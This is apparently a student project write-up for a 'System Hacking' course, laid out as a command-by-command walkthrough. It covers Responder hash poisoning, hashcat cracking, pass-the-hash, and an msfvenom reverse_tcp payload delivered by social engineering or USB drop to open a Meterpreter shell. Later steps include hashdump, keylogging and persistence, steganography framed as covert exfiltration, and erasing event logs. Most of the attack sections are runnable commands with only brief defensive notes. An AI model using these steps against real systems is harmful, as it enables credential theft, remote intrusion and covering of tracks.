## **INTELLIPAAT**

# SYSTEM HACKING - PROJECT

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System Hacking:-

System hacking is the method that hackers use to gain access to computers on a network. Ethical hackers can use these techniques to learn system hacking skills in order to counter, detect, and prevent these types of attacks. This course will cover the process of gaining access to a targeted system.

## TASKS -

- 1. Demonstrate how Responder can be used to perform SMB, HTTP, and other service poisoning attacks. Capture NTLMv2 hashes and clear-text passwords from network traffic.
- 2. Use the reverse\_tcp module to exploit a known vulnerability in a target system. Show how to create a payload, deliver it, and establish a reverse shell session.
- 3. Perform password auditing and cracking using L0phtCrack to assess the strength of passwords. Emphasize the importance of strong password policies.
- 4. Explore steganography by hiding data within image files using Openstego and Steghide. Demonstrate how this technique can be used to exfiltrate sensitive information covertly.

5. Show how Privacy Eraser	can be used	to securely	erase	traces	of online	and
offline activities to maintain	privacy.					

1:-

### Run Responder on the Target Network

Start **Responder** to listen on your network interface and capture **NTLMv1/NTLMv2** hashes from poisoned LLMNR/NBT-NS requests.

bash sudo responder -I eth0 -wrF

#### Check the Logs for Captured Hashes

Once a victim authenticates, their NTLM hash will be captured and stored in:

bash

cat /usr/share/responder/logs/Responder-Session.log

#### **Example NTLMv2 Hash Output:**

bash

user::DOMAIN:1122334455667788:00112233445566778899AABBCCDDEEFF:0102030 405060708

#### Using hashcat to Crack NTLMv2

Now, crack the NTLM hash using hashcat:

bash

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hashcat -m 5600 captured\_hash.txt /usr/share/wordlists/rockyou.txt
--force

#### **Explanation:**

- -m 5600 → NTLMv2 hash mode.
- captured\_hash.txt  $\rightarrow$  File with hashes.
- $\bullet \quad / \texttt{usr/share/wordlists/rockyou.txt} \rightarrow \texttt{Wordlist} \ \texttt{to} \ \texttt{use}.$
- ✓ If the password is cracked, hashcat will display:

Hash:Password123

## Pass-the-Hash Using pth-winexe

If you got the NTLM hash but not the password, you can authenticate using pth-winexe:

bash

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pth-winexe -U 'DOMAIN\user%1122334455667788' //TARGET-IP cmd.exe

✓ If successful, this will give you a **command shell** on the target.

If you **cracked** the password or obtained valid credentials, you can use **Evil-WinRM** to get remote access:

bash

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evil-winrm -i TARGET-IP -u user -p 'Password123'

If successful, you now have remote command execution.

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#### **Step 1: Generate the Payload**

On your attacker machine (Kali Linux), create a malicious payload using msfvenom:

bash

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msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<Your\_IP> LPORT=4444
-f exe > payload.exe

- Replace <Your\_IP> with your attacker's IP (check with ifconfig or ip a).
- -f exe generates a Windows executable payload.
- -p windows/meterpreter/reverse\_tcp is the payload type.
- LPORT=4444 is the listening port.

#### **Step 2: Deliver the Payload**

Move the payload.exe to the target machine. You can deliver it using:

- Social engineering (e.g., convincing the victim to download and run it).
- Exploiting file upload vulnerabilities in a web application.
- USB drop attacks.

Example of hosting it using Python's HTTP server:

bash

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sudo python3 -m http.server 80

On the target machine (Windows), download it:

```
powershell
```

```
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```

```
Invoke-WebRequest -Uri "http://<Your_IP>/payload.exe" -OutFile
"C:\Users\Public\payload.exe"
```

#### Step 3: Set Up a Listener

Open Metasploit Framework (msfconsole):

bash

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msfconsole

Start the multi/handler module:

bash

```
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```

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST <Your_IP>
set LPORT 4444
exploit
```

#### **Step 4: Execute the Payload**

On the **target machine**, run the payload (payload.exe). If successful, you'll get a **Meterpreter shell** in Metasploit.

#### **Step 5: Post-Exploitation**

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- List processes: ps
- Dump passwords: hashdump
- Capture keystrokes: keyscan\_start
- Enable persistence: run persistence -h

To exit the session:

bash

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exit

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## **Password Auditing & Cracking with L0phtCrack**

LOphtCrack is used for Windows password auditing.

#### Step 1: Install L0phtCrack

Download and install it from <u>LOphtCrack's website</u> on **Windows**.

#### **Step 2: Import Hashes**

To audit passwords, L0phtCrack can extract hashes from:

- The local SAM database (requires admin access).
- A remote system (via SMB).
- A **file** containing hashed passwords.

To extract Windows hashes:

- 1. Run **L0phtCrack** as administrator.
- 2. Go to **Import Hashes**.
- 3. Select Local Machine or Remote Machine.
- 4. Click **Next** to start extraction.

#### **Step 3: Crack Passwords**

- 1. Choose a **cracking method**:
  - Dictionary Attack (using common passwords).
  - o Brute Force (tries all combinations).
  - Hybrid Attack (mix of both).
- 2. Click **Start** to begin cracking.

#### **Step 4: Analyze Results**

- Weak passwords will be highlighted.
- Enforce strong password policies:
  - Minimum 12+ characters.
  - Use uppercase, lowercase, numbers, and symbols.
  - Avoid common words and patterns.

#### **Step 5: Preventive Measures**

- Implement account lockout policies.
- Use multi-factor authentication (MFA).
- Regularly audit passwords using LOphtCrack, Hashcat, or John the Ripper.

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## Steganography with OpenStego & Steghide

Steganography is the practice of hiding data inside files (e.g., images, audio, or video). Attackers often use this technique to exfiltrate sensitive information covertly.

## 1 Hiding Data Using OpenStego

#### **Step 1: Install OpenStego**

On Kali Linux, install OpenStego:

bash

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sudo apt install openstego -y

If using Windows, download it from OpenStego's website.

#### Step 2: Hide Data Inside an Image

Run the following command to hide a text file (secret.txt) inside an image (cover.jpg):

bash

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openstego embed -mf secret.txt -cf cover.jpg -sf stego\_image.jpg

- -mf secret.txt → The message file containing sensitive data.
- -cf cover.jpg → The original image used as a cover.
- -sf stego\_image.jpg  $\rightarrow$  The output file with hidden data.

#### **Step 3: Extract Hidden Data**

On another machine, extract the secret message:

bash

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openstego extract -sf stego\_image.jpg -xf extracted\_secret.txt

## 2 Hiding Data Using Steghide

Steghide provides stronger encryption and supports passphrase protection.

#### **Step 1: Install Steghide**

bash

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sudo apt install steghide -y

#### **Step 2: Embed Data Inside an Image**

Hide secret.txt inside cover.jpg with AES encryption:

bash

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steghide embed -cf cover.jpg -ef secret.txt -sf stego.jpg

- -cf cover.jpg  $\rightarrow$  Cover image.
- -ef secret.txt → File to embed.
- -sf stego.jpg → Output stego image.

You'll be prompted to set a passphrase for security.

#### **Step 3: Extract Data**

To extract the hidden file:

bash

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steghide extract -sf stego.jpg

It will **ask for the passphrase** before extraction.

## Steganography for Covert Data Exfiltration

- How Attackers Use It:
  - Embedding stolen data in images and uploading them to Google Drive, social media, or emails.
  - Using malicious macros in stego files for malware delivery.
  - Hiding C2 (Command & Control) communications in images.
- Detection & Countermeasures:

Metadata Analysis: Use exiftool to check suspicious image metadata:

bash

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exiftool stego.jpg

**Steganalysis Tools**: Use steghide info to check for hidden data:

bash
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steghide info stego.jpg

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- Network Monitoring: Block outbound image uploads from sensitive networks.

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## Using Privacy Eraser to Securely Erase Traces of Online & Offline Activities

Privacy Eraser is a powerful tool for securely deleting browsing history, temporary files, and other traces of activity to maintain privacy.

## Step 1: Download & Install Privacy Eraser

- 1. Download **Privacy Eraser** from the official website:
  - https://www.cybertronsoft.com/products/privacy-eraser/

2. Install the software and launch it.

## Step 2: Analyze Your System for Privacy Risks

- 1. Open **Privacy Eraser**.
- 2. Click **Scan** to analyze:
  - o Browsing history (Chrome, Firefox, Edge, etc.).
  - o Temporary files, cookies, and cache.
  - Recently opened documents.
  - Windows event logs.
  - o Recycle Bin and system temp files.
- 3. Review the scan results to see what can be erased.

## Step 3: Erase Traces Securely

- 1. Click **Erase** to securely delete the selected files.
- 2. Choose an erasing method:

- Quick Erase (basic deletion).
- NSA Standard (multiple overwrites for security).
- DoD 5220.22-M (U.S. military-grade erasure).
- Gutmann Method (35 passes) (most secure).
- **Tip:** Use the **Gutmann Method** when erasing highly sensitive data.

## Step 4: Automate Privacy Cleaning (Optional)

- 1. Go to **Settings**  $\rightarrow$  **Scheduler**.
- 2. Set up automatic cleaning at regular intervals (daily, weekly, etc.).
- 3. Enable **real-time protection** to automatically erase traces after closing a browser or app.

## Step 5: Securely Wipe Entire Drives (Optional)

- 1. Navigate to **Tools** → **Drive Wiper**.
- 2. Select the **disk or partition** to wipe.
- 3. Choose the erasing algorithm and click Start.

Use this before selling or disposing of old hard drives to prevent data recovery!

## **★** Why Use Privacy Eraser?

- ✓ Protects Online Privacy: Erases browsing data, trackers, and cookies.
- ✓ Prevents Data Recovery: Uses military-grade erasure methods.
- Optimizes System Performance: Clears junk files to free up space.
- Automates Cleaning: Keeps privacy protection running in the background.